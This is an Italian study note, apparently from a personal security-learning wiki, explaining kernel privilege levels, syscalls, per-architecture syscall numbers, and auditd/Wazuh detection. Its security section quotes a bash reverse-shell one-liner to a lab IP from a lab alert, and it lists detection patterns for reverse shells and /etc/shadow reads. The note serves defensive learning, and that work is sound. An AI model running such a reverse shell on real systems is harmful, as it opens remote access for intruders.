Cosa fa#
Il kernel è il nucleo del sistema operativo — gestisce hardware, memoria, processi e rete. Le syscall sono le richieste che i programmi inviano al kernel per ottenere operazioni privilegiate.
TL;DR#
graph TD
subgraph EL0["EL0 — User Space"]
BASH["bash"]
PY["python"]
NMAP["nmap"]
FF["firefox"]
end
subgraph EL1["EL1 — Kernel Space"]
K["Linux · XNU (mac) · NT(win) 'concierge' "]
end
subgraph EL2["EL2 — Hypervisor"]
HYP["UTM · VMware · KVM"]
end
subgraph EL3["EL3 — Firmware"]
BIOS["BIOS · UEFI · Secure Boot"]
end
subgraph HW["Hardware"]
CPU["CPU"]
RAM["RAM"]
NIC["NIC"]
DISK["Disco"]
end
EL0 -->|"syscall
richiesta al kernel"| EL1
EL1 -->|"istruzioni privilegiate"| EL2
EL2 --> EL3
EL3 -->|"accesso diretto"| HW
RK["ROOTKIT
compromette EL1
mentisce a EL0"]
BK["BOOTKIT
compromette EL3
invisibile a EL1 ed EL0"]
RK -.->|attacca| EL1
BK -.->|attacca| EL3
Il programma non tocca mai l'hardware direttamente. Tutto passa dal kernel.
#

Come funziona#
L'analogia del concierge#
Il kernel funziona come il concierge di un hotel:
- Gli ospiti (programmi user space) non entrano in cucina, non toccano i server, non parlano con gli elettricisti
- Tutto passa dallo sportello (syscall)
- Il concierge (kernel) riceve la richiesta, verifica che l'ospite sia autorizzato, esegue l'operazione con accesso totale, restituisce il risultato
Questa è esattamente la struttura del Facade pattern in programmazione: interfaccia uniforme che nasconde la complessità del sistema sottostante.
Livelli di privilegio#
Su ARM64 (Apple Silicon, Ubuntu ARM) esistono quattro livelli chiamati Exception Levels:
EL0 → User space (programmi normali — bash, python, nmap)
EL1 → Kernel (Linux, XNU, NT)
EL2 → Hypervisor (virtualizzazione — UTM, VMware)
EL3 → Firmware (sicurezza hardware — Secure Boot)Su x86_64 questi livelli si chiamano rings (Ring 0 = kernel, Ring 3 = user space).
Quando un programma esegue una syscall, la CPU passa da EL0 a EL1 — questo passaggio si chiama context switch.
Esempi di syscall comuni#
| Syscall | Cosa fa | Chi la usa |
|---|---|---|
open() | apre un file | qualsiasi programma che legge/scrive |
read() | legge dati | cat, grep, qualsiasi lettura |
write() | scrive dati | echo, qualsiasi scrittura |
connect() | apre connessione TCP/UDP | browser, curl, bash /dev/tcp |
execve() | avvia un processo | shell, qualsiasi esecuzione |
fork() | duplica un processo | bash, qualsiasi spawn |
mmap() | alloca memoria | tutti i programmi |
I numeri di syscall dipendono dall'architettura#
Ogni architettura ha la propria ABI (Application Binary Interface) — il contratto che definisce come i programmi chiamano il kernel. Il numero usato per identificare una syscall dipende dall'architettura del processore.
| Syscall | x86_64 | ARM64 |
|---|---|---|
connect() | 42 | 203 |
read() | 0 | 63 |
write() | 1 | 64 |
execve() | 59 | 221 |
Riferimento ARM64: https://arm64.syscall.sh
Le librerie di sistema (glibc) gestiscono la traduzione — nel codice scrivi connect() e glibc usa il numero giusto per la tua architettura.
Questo spiega perché un exploit compilato per x86_64 non funziona su ARM64 — i numeri di syscall sono diversi.
Kernel — quale sistema usa quale#
| Sistema operativo | Kernel | Note |
|---|---|---|
| Ubuntu, Kali, Debian | Linux (Linus Torvalds, 1991) | open source |
| macOS | XNU (Mach + BSD) | Unix certificato |
| Windows 10/11/Server | NT (New Technology, 1993) | closed source |
| iOS, iPadOS | XNU | stesso di macOS |
| Android | Linux | fork modificato |
Linux è il kernel, non il sistema operativo completo. Ubuntu = kernel Linux + GNU tools + distribution layer.
Rilevanza per la security#
auditd monitora le syscall direttamente — è il livello più basso di visibilità possibile su Linux. Quando bash esegue connect() per una reverse shell, auditd lo vede prima di qualsiasi altro strumento.
Esempio reale dal lab 2026-05-10:
# bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
# genera syscall connect() — numero 203 su ARM64
# alert Wazuh via auditd:
# data.audit.syscall: 203
# data.audit.command: bash
# data.audit.exe: /usr/bin/bash
# data.audit.success: no ← tentativo fallito o EINPROGRESSbash non dovrebbe mai chiamare connect() — questo è il segnale d'allarme.
Se un kernel viene compromesso (rootkit), il concierge inizia a mentire — risponde alle chiamate read() e ls mostrando dati falsi. Per questo i rootkit sono invisibili a strumenti userspace: interrogano il kernel, e il kernel risponde con dati falsificati.
Scenario Reale#
In un SOC, auditd + Wazuh viene configurato per alertare su syscall anomale:
execve()eseguito da un processo web server → possibile RCEconnect()eseguito da bash → possibile reverse shellopen()su/etc/shadowda processo non root → possibile credential theft
Suricata (mese 6) lavorerà a livello network — vede i pacchetti. auditd lavora a livello kernel — vede le syscall. Insieme coprono entrambi i layer.
Collegato a#
- system — categoria OS e kernel
- auditd — monitoraggio syscall su Linux
- reverse-shell — bash connect() come caso reale
- incident-report-lab-2026-05-10 — lab dove questa syscall è stata rilevata


